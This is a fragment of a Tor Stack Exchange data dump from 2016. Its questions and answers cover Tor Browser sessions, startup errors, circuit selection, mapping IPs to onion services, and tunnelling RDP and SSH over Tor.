  <row Id="12419" PostTypeId="2" ParentId="12418" CreationDate="2016-08-19T23:46:03.450" Score="2" Body="&lt;p&gt;It doesn't store &quot;sessions&quot;, this would constitute a persistence of state between uses, which would provide means for linkability between your various browsing sessions. In other words, it would make you trackable and remove much of the protection Tor Browser provides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it doesn't store sessions, there is nothing to be recovered. There is no &lt;em&gt;(reliable*)&lt;/em&gt; way to restore it once it has been closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're suggesting Tor Browser should write to disk, then you should understand that it &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#disk-avoidance&quot; rel=&quot;nofollow&quot;&gt;is designed not to&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your suggestion that &quot;there's really no difference between reopening tabs vs opening them for the first time&quot; is false, in this scenario &lt;a href=&quot;https://en.wikipedia.org/wiki/Alice_and_Bob#Cast_of_characters&quot; rel=&quot;nofollow&quot;&gt;Mallory&lt;/a&gt; just puts a unique identifier value, specifically assigned to you, in the website address when you first visit. Then the second time you open it (e.g. the tab is restored) the same value is once again in the website address, so Mallory can confidently link the two sessions (it's either you &lt;em&gt;or&lt;/em&gt; someone you shared the link with) and use it as an opportunity to reinsert all the other tracking mechanisms that didn't persist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not concerned about being anonymous and unlinkable, you can disable this through the &lt;code&gt;Tor Button (Green Onion)&lt;/code&gt; -&gt; &lt;code&gt;Privacy and Security Settings&lt;/code&gt; and unticking &lt;code&gt;Don't record browsing history or website data&lt;/code&gt; however you will not be able to restore the previous session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also note that this makes it possible for a local Mallory, with physical access to the device that Tor Browser is run on, to be able to reconstruct your browsing history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*unless you want to get into memory forensics and you're lucky and haven't overwritten it in memory with other data since.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-20T11:38:22.277" LastActivityDate="2016-08-20T11:38:22.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12424" PostTypeId="1" CreationDate="2016-08-21T03:08:28.180" Score="5" ViewCount="5284" Body="&lt;p&gt;I'm having difficulty running Tor on Ubuntu (linux).  This is a new problem, as I had been using it with no problems over the past year.  Today, it will no longer start up when I click the icon. The icon appears in the taskbar for abut 30 seconds then disappears and that is it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent the least few hours searching for solutions, but none have worked.  I've tried starting it through the terminal with numerous different commands and nothing works.  It seems to think I have tor running already.  I get this message (see below) even after a fresh uninstall/reinstall and cpu restart where I'm certain there is not tor running.  This is the message I get in the terminal when I try to start tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PORTEGE-R835:~$ tor&#xA;&#xA;Aug 20 19:39:42.810 [notice] Tor v0.2.7.6 (git-605ae665009853bd) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.2g-fips and Zlib 1.2.8.&#xA;&#xA;Aug 20 19:39:42.810 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;&#xA;Aug 20 19:39:42.810 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;&#xA;Aug 20 19:39:42.815 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;&#xA;Aug 20 19:39:42.815 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&#xA;&#xA;Aug 20 19:39:42.815 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;&#xA;Aug 20 19:39:42.815 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find a way past this point.  Any help would be greatly appreciated!!&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14066" LastEditorDisplayName="user5" LastEditDate="2016-11-05T20:50:34.637" LastActivityDate="2021-07-18T12:06:14.183" Title="Can't Open Tor (Ubuntu/Linux) - says its already running" Tags="|help|linux|ubuntu|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="12430" PostTypeId="1" CreationDate="2016-08-21T16:35:16.200" Score="1" ViewCount="178" Body="&lt;p&gt;As I understand it, Tor uses the same circuit for about 10 minutes or as specified in the &lt;code&gt;MaxCircuitDirtiness&lt;/code&gt; option in the &lt;code&gt;torrc&lt;/code&gt; file. However, I noticed something strange while trying to use &lt;code&gt;curl&lt;/code&gt; to fetch a site while running &lt;code&gt;tor&lt;/code&gt; on a separate terminal window. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, the circuit being used was this (with the &lt;code&gt;torrc&lt;/code&gt; file set to use an &lt;code&gt;Exit Node&lt;/code&gt; in France).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Circuit 2 (GENERAL)&#xA; |- F25BCD77AB5BBA6F5A4D233DD57A51660ECCB9D6 (cleve, 46.166.167.46)&#xA; |- 94FE042E75138ECD76A3B7D6C30A83C6AA71463A (snakeplant, 178.62.180.121)&#xA; +- AFF2FC5C6F793B6E147EB93C1897D6DDA49E54FD (Wix, 5.196.66.162)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where Wix is supposed to be an Exit Node in France.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured this out by first listing the current circuits inside &lt;code&gt;tor&lt;/code&gt;, and then using a script to list down the exit node currently being used (Both by using Stem's API). Since the Exit node being used for my connection was Wix, I figured that this was indeed the circuit being used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, suddenly, after a a minute or two, I decide to fetch another request, and this time, the exit node came out to be a node in Germany: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then when I repeat the request again, Tor switches back to the Wix circuit. Here's an image of that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GK8AG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GK8AG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I listed down the circuits at that particular time, I noticed a one-node circuit with this particular (which &lt;a href=&quot;https://atlas.torproject.org/#details/80DCBB6EF4E86A7CD4FBCBDEE64979645509A610&quot; rel=&quot;nofollow noreferrer&quot;&gt;is listed&lt;/a&gt; as a Guard node on Atlas) in the list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eK1gB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eK1gB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar thing (as in a sudden switch between the normal French exit-node being used) happened with another node (named clive above). This node too had a one-node circuit, and in addition it was present as a Guard node in all the other circuits in the list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone please let me know what could be going on? Why doesn't Tor's circuit stick to the node in the country that I had specified in the torrc file? Why does it suddenly switch to a node in Germany? Or Lithuania in the case of the other node. Does Tor use one-node circuits sometimes on its own? Does this kind of thing normally happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: My torrc file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 22 September 2015 for Tor 0.2.7.3-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &quot;## &quot; try to explain what's going on. Lines&#xA;## that begin with just &quot;#&quot; are disabled commands: you can enable them&#xA;## by removing the &quot;#&quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a SOCKS proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &quot;SOCKSPort 0&quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SOCKSPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SOCKSPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;ExitNodes {fr}&#xA;StrictNodes 1&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SOCKSPolicy is set, we accept&#xA;## all (and only) requests that reach a SOCKSPort. Untrusted users who&#xA;## can access your SOCKSPort may be able to learn about the connections&#xA;## you make.&#xA;#SOCKSPolicy accept 192.168.0.0/16&#xA;#SOCKSPolicy accept6 FC00::/7&#xA;#SOCKSPolicy reject *&#xA;&#xA;## Logs go to stdout at level &quot;notice&quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &quot;notice&quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &quot;.../hidden_service/hostname&quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 kilobytes per second.&#xA;## Note that units for these config options are bytes (per second), not&#xA;## bits (per second), and that prefixes are binary prefixes, i.e. 2^10,&#xA;## 2^20, etc.&#xA;#RelayBandwidthRate 100 KBytes  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KBytes # But allow bursts up to 200KB (1600Kb)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &quot;40 GB&quot; may allow up to 80 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 40 gigabytes each way per period.&#xA;#AccountingMax 40 GBytes&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentially reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins.&#xA;##&#xA;## If you want to allow the same ports on IPv4 and IPv6, write your rules&#xA;## using accept/reject *. If you want to allow different ports on IPv4 and&#xA;## IPv6, write your IPv6 rules using accept6/reject6 *6, and your IPv4 rules&#xA;## using accept/reject *4.&#xA;##&#xA;## If you want to _replace_ the default exit policy, end this with either a&#xA;## reject *:* or an accept *:*. Otherwise, you're _augmenting_ (prepending to)&#xA;## the default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to the configured primary public IPv4 and IPv6 addresses,&#xA;## and any public IPv4 and IPv6 addresses on any interface on the relay.&#xA;## See the man page entry for ExitPolicyRejectPrivate if you want to allow&#xA;## &quot;exit enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports on IPv4 and IPv6 but no more&#xA;#ExitPolicy accept *:119 # accept nntp ports on IPv4 and IPv6 as well as default exit policy&#xA;#ExitPolicy accept *4:119 # accept nntp ports on IPv4 only as well as default exit policy&#xA;#ExitPolicy accept6 *6:119 # accept nntp ports on IPv6 only as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10813" LastEditorUserId="10813" LastEditDate="2016-08-22T02:32:56.883" LastActivityDate="2016-08-22T02:32:56.883" Title="Tor's circuits behaving in an unusual manner" Tags="|circuit|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12431" PostTypeId="1" CreationDate="2016-08-21T19:58:40.487" Score="1" ViewCount="1042" Body="&lt;p&gt;we want to configure a TOR router to route public static IP addresses to hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently we have the following setup working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetworkIPv4 10.192.0.0/10&#xA;VirtualAddrNetworkIPv6 [FC00::]/7&#xA;AutomapHostsOnResolve 1&#xA;TransPort 127.0.0.1:9040&#xA;TransPort     [::1]:9040&#xA;DNSPort   127.0.0.1:5300&#xA;DNSPort       [::1]:5300&#xA;&#xA;iptables  -t nat -A OUTPUT -p tcp -d 10.192.0.0/10 -j REDIRECT --to-ports 9040&#xA;ip6tables -t nat -A OUTPUT -p tcp -d FC00::/7      -j REDIRECT --to-ports 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first idea was to use the public static IP-networks with the PREROUTING chain. Updating the IP-addresses every 60 seconds is a no-go as DNSSEC will be used to validate the DNS A/AAAA-record lookups. We also need additional DNS-records (e.g. MX-RRs) which won't work with the TOR resolver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MapAddress &amp;lt;hidden service&amp;gt;.onion 10.192.0.4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which results in a correct A-RR when VirtualAddrNetworkIPv4 is uncommented. But TOR doesn't route the packets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for any hint,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renne&lt;/p&gt;&#xA;" OwnerUserId="14074" LastActivityDate="2016-08-23T09:27:05.550" Title="How to map public static IP addresses to Hidden Services?" Tags="|vpn|network-configuration|ip-address|transparent-proxy|routers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12432" PostTypeId="1" CreationDate="2016-08-21T23:08:49.243" Score="1" ViewCount="78" Body="&lt;p&gt;How to bypass security checks in tor browser because whenever i enter a site in the address bar of tor browser a security check appears in the form of a capture? So how can i bypass security checks in tor browser?&lt;/p&gt;&#xA;" OwnerUserId="14077" LastActivityDate="2016-08-21T23:08:49.243" Title="security checks in tor browser in the form of a capture" Tags="|security|" AnswerCount="0" CommentCount="1" ClosedDate="2016-09-01T20:14:48.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="12433" PostTypeId="2" ParentId="12431" CreationDate="2016-08-22T00:08:01.967" Score="1" Body="&lt;p&gt;This is a pretty simple task, just to answer the question, here is how you'd do it....&lt;/p&gt;&#xA;&lt;p&gt;But before you read how, repeat after me:&lt;/p&gt;&#xA;&lt;h1&gt;&amp;quot;&lt;strong&gt;I should never &lt;em&gt;actually&lt;/em&gt; do this!&lt;/strong&gt;&amp;quot;&lt;/h1&gt;&#xA;&lt;p&gt;Hypothetically, if this was ever actually useful, which it isn't, and assuming your onion is &lt;code&gt;foo.onion&lt;/code&gt; and your public IP is &lt;code&gt;1.2.3.4&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;torrc like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;TransPort 1.2.3.4:9040 # &#xA;SocksPort 0 # we dont need this&#xA;MapAddress 1.2.3.4 foo.onion # connections for our public IP are mapped to the onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then we use iptables to set some incoming traffic for whatever our chosen port is, say 80, to redirect to the TransPort, for example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Port 80 on our public IP would be passed into TransProxy, the destination IP &lt;code&gt;1.2.3.4&lt;/code&gt; in TransProxy would be mapped to &lt;code&gt;foo.onion&lt;/code&gt; and the communications passed on to &lt;code&gt;foo.onion&lt;/code&gt; and the response send back to whomever was connecting to &lt;code&gt;1.2.3.4&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Update:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;TransPort&lt;/code&gt; can be set once for many ports, the original destination and port are recovered after the &lt;code&gt;-j REDIRECT&lt;/code&gt; rule through use of &lt;code&gt;getsockopt()&lt;/code&gt; calls (see &lt;code&gt;SO_ORIGINAL_DST&lt;/code&gt;), so many destination ports and IPs can map to a single &lt;code&gt;TransPort&lt;/code&gt; instantiation.&lt;/p&gt;&#xA;&lt;p&gt;And my issue is that while the server is protected, the users are not receiving any protection from Tor. It constitutes the &amp;quot;SSL Added And Removed Here :¬)&amp;quot; security anti-pattern, as seen in tor2web and similar projects.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;em&gt;P.S. Yes, I am aware I'm a terrible human being for actually answering this query but sometimes you gotta let them shoot themselves in the foot after failing to heed all warnings.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-08-23T09:27:05.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12434" PostTypeId="1" CreationDate="2016-08-22T01:00:22.283" Score="2" ViewCount="5136" Body="&lt;p&gt;I was curious if anyone knows if Tor (maybe Firefox more specific) supports any client tool (even betas) which would allow RDP port 3389 connections from the browser while on the Tor network?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal I'd like to accomplish would be to use RDP anonymously but I figured since Tor is good at doing tjis then maybe there is something already available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as if Tor is for web browsing anonymously only but I wasn't sure if you could use to the Tor network for other traffic as well other than just http or https so RDP for one example is my main question I suppose but if there's something related way more broader than that, I will consider anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read about Torifying any application and I'm able to use Tails so any RDP client like Redimma, etc. which I can Torify will be fine. I also read that you have to use socat so I'm looking for pointers such as: use this and this as it works exactly like you are requesting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions for setup or where to find Tor IP or other settings would be nice but if that's too much here for all of this, I can put that in another question.&lt;/p&gt;&#xA;" OwnerUserId="13813" LastEditorUserId="13813" LastEditDate="2016-08-22T01:17:46.797" LastActivityDate="2016-08-24T23:38:07.033" Title="Tor Remote Desktop Client Tool" Tags="|configuration|torsocks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12435" PostTypeId="2" ParentId="12434" CreationDate="2016-08-22T10:57:07.060" Score="1" Body="&lt;p&gt;for socat:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socat TCP4-LISTEN:31337,reuseaddr,fork,bind=127.0.0.1 SOCKS4A:127.0.0.1:myserver.foo:3389,socksport=9050,socksuser=rdp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will listen on TCP port 31337 at address 127.0.0.1 and for each incoming connection, connect through a SOCKS4A proxy to 127.0.0.1 on port 9050 (Tor) to myserver.foo on port 3389.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This won't work on Tails, due to it's strict packetfilter (&quot;firewall&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now connect your RDP client to 127.0.0.1:31337 and it will really be communicating with myserver.foo:3389 over Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot speak to (or even speculate) the anonymity of the RDP protocol, it is proprietary and the &lt;a href=&quot;https://en.wikipedia.org/wiki/Remote_Desktop_Protocol#Patents&quot; rel=&quot;nofollow&quot;&gt;legal status of FLOSS implementations is unknown&lt;/a&gt; (however I think people doing Microsoft's work for them will likely not get shut down or sued until Microsoft is ready to release a competing product for Linux), and their code likely unreviewed from an anonymity or privacy perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RDP, as a protocol, has functionality for sharing local devices (microphone, webcam, disk drives), resources (clipboard) and network resources (network mounted shared). If it's possible that the remote server may be malicious or could be made malicious (e.g. it's not hardware that you physically own), you should use it with caution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beware also of the possibility of a man-in-the-middle trying to strip or subvert any cryptographic exchanges, &lt;strong&gt;consider using an onion service&lt;/strong&gt;, this would both allow it to work within Tails packetfilter (onion services are automatically torified) and provide a known-good protection against possible man-in-the-middle attacks.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-08-22T10:57:07.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12436" PostTypeId="1" CreationDate="2016-08-22T13:59:06.977" Score="0" ViewCount="723" Body="&lt;p&gt;i'm french and I have a question.&lt;/p&gt;&#xA;&lt;p&gt;Bonjour, j'aimerai utiliser plusieurs IP's en même temps avec Tor, j'ai vu que c'était possible mais je n'arrive toujours pas : je n'ai pas bien compris le changement de port/control port ect... Pouvez-vous m'aider ?&lt;/p&gt;&#xA;&lt;p&gt;Hello, i'd like to use more than one ip with tor browsers, i know it's possible but i'm bad, i dont enderstand the &amp;quot;control port&amp;quot; ect... can you help me ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks, merci&lt;/p&gt;&#xA;&lt;h1&gt;AFrenchWhoNeedHelp&lt;/h1&gt;&#xA;" OwnerUserId="14083" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-08-24T23:30:55.800" Title="Multiple IP's with tor" Tags="|tor-browser-bundle|anonymity|" AnswerCount="1" CommentCount="0" ClosedDate="2016-09-01T20:14:58.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="12442" PostTypeId="1" CreationDate="2016-08-23T17:18:14.563" Score="0" ViewCount="1218" Body="&lt;p&gt;i followed this (&lt;a href=&quot;http://gk2.sk/running-ssh-on-a-raspberry-pi-as-a-hidden-service-with-tor/&quot; rel=&quot;nofollow&quot;&gt;http://gk2.sk/running-ssh-on-a-raspberry-pi-as-a-hidden-service-with-tor/&lt;/a&gt;) instruction how to how to run an hidden ssh server. It works so far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am wondering if it would be possible to access my server from the open Internet with help of an (public) proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now my ideas was:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server &amp;lt;-&gt; hidden sevice &amp;lt;-&gt; Tor2Web.org (or other service) &amp;lt;-&gt; client&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However SSH is unable to resolve the address&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MacBook-Pro:~ user$ ssh user@2qe36xcwuakfflis.tor2web.org:80&#xA;  ssh:Could not resolve hostname 2qe36xxxxxxxxlis.tor2web.org:80: nodename nor servname provided, or not known&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My goal is that I can access my server form every when, sometime it is not possible to direct tor access.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are welcome &lt;/p&gt;&#xA;" OwnerUserId="14094" LastActivityDate="2016-09-24T09:35:12.263" Title="SSH Hidden Service + gateway (tor2web)" Tags="|onion-services|ssh|" AnswerCount="1" CommentCount="3" ClosedDate="2016-10-01T11:49:31.083" ContentLicense="CC BY-SA 3.0" />
  <row Id="12443" PostTypeId="1" CreationDate="2016-08-23T18:07:32.990" Score="1" ViewCount="18120" Body="&lt;p&gt;Cannot choose sd card as target device when using tails installer.&#xA;Tails assistant page mentions sd card installation, however instructions only show usb install.&lt;/p&gt;&#xA;" OwnerUserId="14095" LastActivityDate="2017-08-11T05:54:37.167" Title="How to install tails os on sd card?" Tags="|tails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12444" PostTypeId="2" ParentId="12442" CreationDate="2016-08-24T23:20:32.047" Score="0" Body="&lt;p&gt;Tor2Web is a web-page mirror thing, it's &lt;strong&gt;defenately not a full-featured gateway&lt;/strong&gt; between a Darknet and a Clearnet/Internet. You must use dot-onion address in order to address your hidden service - that's how &lt;em&gt;any darknet&lt;/em&gt; works, not just Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The true meaning of darknet is to be... dark! In other words - not directly exposed to all the public in Clearnet. If you're using a darknet as a transport - &lt;em&gt;use it explicitly&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-08-24T23:20:32.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
